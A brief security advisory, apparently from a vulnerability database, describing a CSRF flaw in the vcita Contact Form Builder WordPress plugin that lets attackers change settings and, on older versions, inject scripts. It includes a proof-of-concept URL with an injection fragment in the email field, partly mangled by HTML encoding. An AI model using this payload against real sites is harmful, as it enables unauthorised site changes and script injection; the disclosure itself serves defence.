Contact Form Builder by vcita <= 4.10.2 - Settings Update Via CSRF

The plugin does not protect its settings page against CSRF attacks, allowing an unauthenticated attacker to change the plugin’s settings, and on older versions (<= 4.9.1), inject arbitrary web-scripts, by tricking a logged in user with the contributor role or higher to click a link.

PoC

https://example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&amp;success;=true&amp;uid;=a&amp;first;_name=a-a&amp;last;_name=b&amp;title;=c&amp;confirmation;_token=d&amp;confirmed;=true&amp;engage;_delay=1&amp;implementation;_key=1&amp;email;=a“/&gt;